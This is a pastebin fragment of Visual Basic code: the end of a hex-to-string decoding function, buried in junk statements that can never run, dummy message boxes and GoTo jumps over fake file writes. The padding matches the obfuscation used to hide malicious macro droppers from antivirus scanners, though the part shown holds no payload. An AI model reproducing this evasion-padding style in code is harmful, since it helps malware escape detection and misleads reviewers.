  951. NYIfCmFW:
  952.  
  953.  
  954. If 911326 = 911326 + 1 Then End
  955. If 9645 < 24 Then
  956.         MsgBox ("OMfAglsP45")
  957. End If
  958. If Len("jpkbcSiz4918") = Len("vVBwWEKa") Then
  959.        MsgBox ("Error !!!")
  960. End If
  961. KJlSkVaA = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(udfzchuEanbM, LEALdrM, 2)))
  962.  
  963.  
  964. GoTo xNcuSCjR
  965. Dim zWtABlow As String
  966. Open "PLQLIN.MQO" For Binary As 33
  967. If 174895 = 174895 + 1 Then End
  968. If 4448 < 19 Then
  969.         MsgBox ("cSSIHbqd23")
  970. End If
  971. If Len("FXfGKoAw8612") = Len("hnHeNYNz") Then
  972.        MsgBox ("Error !!!")
  973. End If
  974. Put #33, , zWtABlow
  975.  
  976. If 756291 = 756291 + 1 Then End
  977. If 4311 < 61 Then
  978.         MsgBox ("PSVQKsMz43")
  979. End If
  980. If Len("PJCaSsRz7574") = Len("TqxYYjKg") Then
  981.        MsgBox ("Error !!!")
  982. End If
  983. Close #33
  984.  
  985. If 214118 = 214118 + 1 Then End
  986. If 2947 < 85 Then
  987.         MsgBox ("ErICSmnh37")
  988. End If
  989. If Len("nbfSzxzJ3788") = Len("zeJNqWAc") Then
  990.        MsgBox ("Error !!!")
  991. End If
  992. xNcuSCjR:
  993.  
  994.  
  995. If 441269 = 441269 + 1 Then End
  996. If 1269 < 39 Then
  997.         MsgBox ("mYvIZREP12")
  998. End If
  999. If Len("mQvVwRfO4434") = Len("ZbyMLwBO") Then
  1000.        MsgBox ("Error !!!")
  1001. End If
  1002. lfxuR = lfxuR & KJlSkVaA
  1003.  
  1004. Next LEALdrM
  1005.  
  1006. GoTo pnIjQsHu
  1007. Dim eJvzZlyP As String
  1008. Open "RYHVIU.DVF" For Binary As 17
  1009. If 767441 = 767441 + 1 Then End
  1010. If 1374 < 78 Then
  1011.         MsgBox ("uIrfaQNm68")
  1012. End If
  1013. If Len("cKTwzmjE2225") = Len("BxoOqLGp") Then
  1014.        MsgBox ("Error !!!")
  1015. End If
  1016. Put #17, , eJvzZlyP
  1017.  
  1018. If 567672 = 567672 + 1 Then End
  1019. If 2425 < 27 Then
  1020.         MsgBox ("fwCHvYrl91")
  1021. End If
  1022. If Len("AXtcXkst3275") = Len("wgEzGcvl") Then
  1023.        MsgBox ("Error !!!")
  1024. End If
  1025. Close #17
  1026.  
  1027. If 925565 = 925565 + 1 Then End
  1028. If 9152 < 42 Then
  1029.         MsgBox ("liHlWnil17")
  1030. End If
  1031. If Len("ridKUJso1812") = Len("TSHyHhQG") Then
  1032.        MsgBox ("Error !!!")
  1033. End If
  1034. pnIjQsHu:
  1035.  
  1036.  
  1037. If 253651 = 253651 + 1 Then End
  1038. If 8374 < 86 Then
  1039.         MsgBox ("ChcFiBDz69")
  1040. End If
  1041. If Len("qGTmTPWD9125") = Len("yorNvHoa") Then
  1042.        MsgBox ("Error !!!")
  1043. End If
  1044. Hextostring = lfxuR
  1045.  
  1046. End Function
Advertisement
RAW Paste Data Copied
Advertisement